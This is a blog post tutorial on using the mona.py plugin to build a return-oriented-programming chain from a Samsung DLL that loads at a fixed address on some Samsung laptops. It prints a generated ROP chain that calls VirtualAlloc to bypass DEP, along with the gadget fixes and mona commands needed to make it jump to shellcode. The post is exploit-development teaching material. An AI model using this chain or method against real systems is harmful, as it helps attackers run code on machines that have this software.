Mona 101: a Global Samsung DLL

This blogpost will be just another 101 for mona.py. There’s already a

good introduction to / full documentation of mona here, including

setting it up and running it for the first time. (Which is surprisingly easy,

at least with Immunity Debugger – I haven’t tested mona with WinDBG.)

Our target

Well, it turns out that a dll called WinCRT.dll, developed by Samsung and

distributed by default on at least a set of Samsung laptops, is

being loaded in every process that imports user32.dll on my system.. Yay!

Needless to say it doesn’t have ASLR enabled, nor does it rebase by default.

If you haven’t guessed its base address by now, then I’ll give you a hint;

0×10000000. A copy of the DLL can be found here – naturally I’m not

responsible for whatever you do with it :p

Btw, the path of this Samsung DLL is:

C:\Program Files (x86)\Samsung\Movie Color Enhancer\WinCRT.dll

Generate some ROP

After running any program which imports user32, such as the following

MessageBox() program, we attach Immunity Debugger to it.

#include <windows.h> int main() { MessageBoxA(NULL, "Hello Samsung!", ":-)", 0); }

We run the following command and get our ROP chain after roughly 10 seconds:

!mona rop -m wincrt -rva

As documented in the tutorials that were linked earlier in this blogpost, the

-m switch specifies the module to search, and -rva gives a dump with

relative addresses to the base address. (In case you need an infoleak to

obtain the base address of your target module, rather than having a DLL that’s

being loaded on a static address.)

The ROP chain returned may look like the following, including some comments

about what the registers should look like at the point that VirtualAlloc is

invoked.

""" Register setup for VirtualAlloc() : EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) """ def create_rop_chain(base_wincrt): # rop chain generated with mona.py rop_gadgets = [ base_wincrt + 0x0000f128, # POP EAX # POP EBP # RETN [WinCRT.dll] base_wincrt + 0x0001f0a8, # ptr to &VirtualAlloc() [IAT WinCRT.dll] 0x41414141, # Filler (compensate) base_wincrt + 0x00005bff, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN 0x08 [WinCRT.dll] base_wincrt + 0x0000431d, # PUSH EAX # ADD AL,5F # POP ESI # RETN [WinCRT.dll] 0x41414141, # Filler (RETN offset compensation) 0x41414141, # Filler (RETN offset compensation) base_wincrt + 0x0001a14e, # POP EBP # RETN [WinCRT.dll] 0x00000000, # & [] base_wincrt + 0x0000bd5b, # POP EBX # RETN [WinCRT.dll] 0x00000001, # 0x00000001-> ebx base_wincrt + 0x00005209, # POP EBX # RETN [WinCRT.dll] 0x00001000, # 0x00001000-> edx base_wincrt + 0x0001183c, # XOR EDX,EDX # RETN [WinCRT.dll] base_wincrt + 0x0001175e, # ADD EDX,EBX # POP EBX # RETN 0x10 [WinCRT.dll] 0x41414141, # Filler (compensate) base_wincrt + 0x000191b8, # POP ECX # RETN [WinCRT.dll] 0x41414141, # Filler (RETN offset compensation) 0x41414141, # Filler (RETN offset compensation) 0x41414141, # Filler (RETN offset compensation) 0x41414141, # Filler (RETN offset compensation) 0x00000040, # 0x00000040-> ecx base_wincrt + 0x0000f203, # POP EDI # RETN [WinCRT.dll] base_wincrt + 0x0000f204, # RETN (ROP NOP) [WinCRT.dll] base_wincrt + 0x0000f128, # POP EAX # POP EBP # RETN [WinCRT.dll] 0x90909090, # nop 0x41414141, # Filler (compensate) base_wincrt + 0x0000c27e, # PUSHAD # ADD AL,0 # RETN [WinCRT.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # [WinCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v0.0.0.1 (C:\Program Files (x86)\Samsung\Movie Color Enhancer\WinCRT.dll) base_wincrt = 0x10000000 rop_chain = create_rop_chain(base_wincrt)

Fixing the ROP chain

Unfortunately mona makes some small mistakes, but that’s why it gives great

feedback in the form of rop.txt and rop_suggestions.txt.

Now if you look closely at the generated ROP chain, while comparing them to

the notes about the required states of the registers for VirtualAlloc, then

you’ll notice that some gadgets have to be shuffled around, and some are not

correct yet.

Let’s analyze each register top-to-bottom from the provided register list in

order to see if they’re all set correctly. First we start with eax.

Eax is set to 0×90909090 at the end. However, it also sets ebp to an invalid

value – register dependencies is something that mona doesn’t handle very

well yet, unfortunately. Anyway, it’s easier to replace this gadget than to

shuffle it around. I ended up replacing it by a “pop ecx ; retn” and

“mov eax, ecx ; retn” gadget, and moving it to an earlier place in the ROP

chain where ecx has

not yet been assigned its final value. Ecx itself is already correct, it’ll be

set to 0×40 using the ‘original’ “pop ecx ; retn” gadget.

Edx has to become 0×1000, for which mona has decided to use ebx as

intermediate register. We can remove the first gadget that sets ebx, as its

value is overwritten right away when executing the next gadget. (Which sets

ebx as well.)

Now mona handles esp for us, so we don’t have to do anything there. The next

register, ebp, however, does need some extra work. The description tells us

it needs to point to a “jmp esp” gadget, but because there’s no such gadget in

our DLL mona sort of failed silently. (The comment doesn’t show an error

message, but instead shows something that doesn’t make much sense.)

Given there’s no “jmp esp” in our code, nor a direct “push esp ; retn” gadget,

we have to play around with mona some more.. We run the following command

which is, again, documented here, and find the following gadget.

!mona findwild -s "push esp#*#retn" -m wincrt 0x10009558: push esp # add al,2 # adc bl,al # xor eax,eax # retn [WinCRT.dll]

Finishing up

So yeah, that’ll do for us Patch the 0×00000000 value with

“base_wincrt + 0×00009558″ and ebp is good to go. Finally, esi and edi

have been handled correctly by mona. (Note that we don’t have to worry about

the value of eax in our custom “jmp esp” gadget, as this is executed right

after the call to VirtualAlloc, and literally jumps to our shellcode.)

Having fixed the ROP chain, our final ROP chain including some MessageBox()

shellcode, wrapped into a C file looks like the following. (Woah,

somebody added C dumping support to mona yesterday!) In case you’re interested

in the binary, to be ran when the DLL is loaded into memory, it can be found

here.

Conclusion

This was the first time I tried mona and I’m genuinely happy about it. Very

easy to use and it did the job for me Ah yeah, so anyone with this

particular Samsung software on his computer.. how do I even.. I guess it’s

just “another one of those”.